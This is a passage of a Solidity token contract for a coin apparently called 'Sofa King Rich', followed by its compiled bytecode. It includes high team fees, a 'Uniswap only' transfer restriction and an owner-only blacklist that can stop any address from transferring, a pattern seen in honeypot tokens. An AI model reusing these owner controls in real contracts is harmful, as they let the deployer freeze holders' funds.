(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280602081526020017f536f6661204b696e67205269636820742e6d652f736f66616b696e6772696368815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f534b52f09f92b200000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b